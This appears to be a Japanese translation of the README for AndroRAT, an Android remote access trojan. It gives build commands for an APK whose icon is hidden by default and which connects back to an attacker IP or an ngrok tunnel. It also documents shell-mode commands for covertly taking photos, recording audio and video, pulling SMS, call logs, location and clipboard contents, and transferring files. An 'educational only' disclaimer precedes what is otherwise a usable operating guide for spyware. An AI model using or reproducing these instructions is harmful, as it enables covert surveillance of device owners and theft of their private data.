免責事項: このソフトウェアは教育目的のみを目的としています。アプリの悪意のある使用については責任を負いません。
AndroRAT は、Android システムをリモートで制御し、そこから情報を取得するように設計されたツールです。 Androrat は、クライアント側は Java Android で開発されたクライアント/サーバー アプリケーションであり、サーバーは Python です。
AndroRAT は Android 10 (Q) でも動作しますが、一部のインタープリター コマンドが不安定になります。
AndroRAT には Python3 と JAVA (または Android Studio) が必要です
git clone https://github.com/karma9874/AndroRAT.git
cd AndroRAT
pip install -r requirements.txt
Windows で Git bash を使用してリポジトリのクローンを作成しているときに、次のエラーが発生する場合があります。
エラー: ファイル <ファイル名> を作成できません: ファイル名が長すぎます
これは、Git が msys でコンパイルされる Windows を除き、Git にはファイル名に 4096 文字の制限があるためです。古いバージョンの Windows API が使用されており、ファイル名には 260 文字の制限があります。
core.longpaths
true
に設定することでこれを回避できます。
git config --system core.longpaths true
Git bash は管理者権限で実行する必要があります。
*#*#1337#*#*
にダイヤルします (現時点では、 Restart Activity
とUninstall
2 つのオプションのみがあります)注: 一部のデバイスでこの機能を使用するには、設定で
display pop-up windows running in background
オプションを有効にする必要があります。
--build
- Android APK をビルドする場合--ngrok
- (インターネット経由で) ngrok トンネルを使用する場合--shell
- デバイスの対話型シェルを取得します。build
モード Usage:
python3 androRAT.py --build --ngrok [flags]
Flags:
-p, --port Attacker port number (optional by default its set to 8000)
-o, --output Name for the apk file (optional by default its set to "karma.apk")
-icon, --icon Visible icon after installing apk (by default set to hidden)
Usage:
python3 androRAT.py --build [flags]
Flags:
-i, --ip Attacker IP address (required)
-p, --port Attacker port number (required)
-o, --output Name for the apk file (optional)
-icon, --icon Visible icon after installing apk (by default set to hidden)
または、Android Code フォルダーを Android Studio にインポートし、config.java ファイルの IP アドレスとポート番号を変更することで、APK を手動でビルドすることもできます。その後、 Android Studio -> Build -> Generate Signed APK(s)
から署名付き APK を生成できます。
shell
モード Usage:
python3 androRAT.py --shell [flags]
Flags:
-i, --ip Listner IP address
-p, --port Listner port number
shell
モードを実行すると、デバイスのインタープリタが取得されます。
インタプリタ上で実行できるコマンド
deviceInfo --> returns basic info of the device
camList --> returns cameraID
takepic [cameraID] --> Takes picture from camera
startVideo [cameraID] --> starts recording the video
stopVideo --> stop recording the video and return the video file
startAudio --> starts recording the audio
stopAudio --> stop recording the audio
getSMS [inbox|sent] --> returns inbox sms or sent sms in a file
getCallLogs --> returns call logs in a file
shell --> starts a sh shell of the device
vibrate [number_of_times] --> vibrate the device number of time
getLocation --> return the current location of the device
getIP --> returns the ip of the device
getSimDetails --> returns the details of all sim of the device
clear --> clears the screen
getClipData --> return the current saved text from the clipboard
getMACAddress --> returns the mac address of the device
exit --> exit the interpreter
sh シェルにはいくつかのサブコマンドがあります
get [full_file_path] --> donwloads the file to the local machine (file size upto 15mb)
put [filename] --> uploads the file to the android device
ngrok を使用して APK をビルドするには、リスナーも設定します: python3 androRAT.py --build --ngrok -o evil.apk
希望の IP とポートを使用して APK をビルドするには: python3 androRAT.py --build -i 192.169.xx -p 8000 -o evil.apk
インタプリタを取得するには: python3 androRAT.py --shell -i 0.0.0.0 -p 8000
AndroRAT は MIT ライセンスに基づいてライセンスされています。詳細についてはライセンスをご覧ください。